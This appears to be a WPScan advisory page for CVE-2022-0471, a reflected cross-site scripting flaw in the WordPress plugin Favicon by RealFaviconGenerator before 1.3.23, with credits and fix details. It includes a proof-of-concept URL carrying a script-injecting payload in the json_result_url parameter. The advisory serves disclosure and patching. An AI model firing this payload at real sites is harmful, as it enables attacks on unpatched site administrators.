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WPScan
How it worksPricing
Vulnerabilities
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For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Favicon by RealFaviconGenerator < 1.3.23 - Reflected Cross-Site Scripting

Description

The plugin does not properly sanitise and escape the json_result_url parameter before outputting it back in the Favicon admin dashboard, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/themes.php?page=favicon-by-realfavicongenerator%2Fadmin%2Fclass-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&json_result_url=.example.com%3C%2Fscript%3E%3Cimg%2Fsrc%2Fonerror%3Dalert%28/XSS/%29+%2F%2F 

Affects Plugins

favicon-by-realfavicongenerator
Fixed in version 1.3.23

References

CVE
CVE-2022-0471
URL
https://plugins.trac.wordpress.org/changeset/2695862

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
499bfee4-b481-4276-b6ad-0eead6680f66

Timeline

Publicly Published

2022-03-21 (about 10 months ago)

Added

2022-03-21 (about 10 months ago)

Last Updated

2022-04-10 (about 10 months ago)

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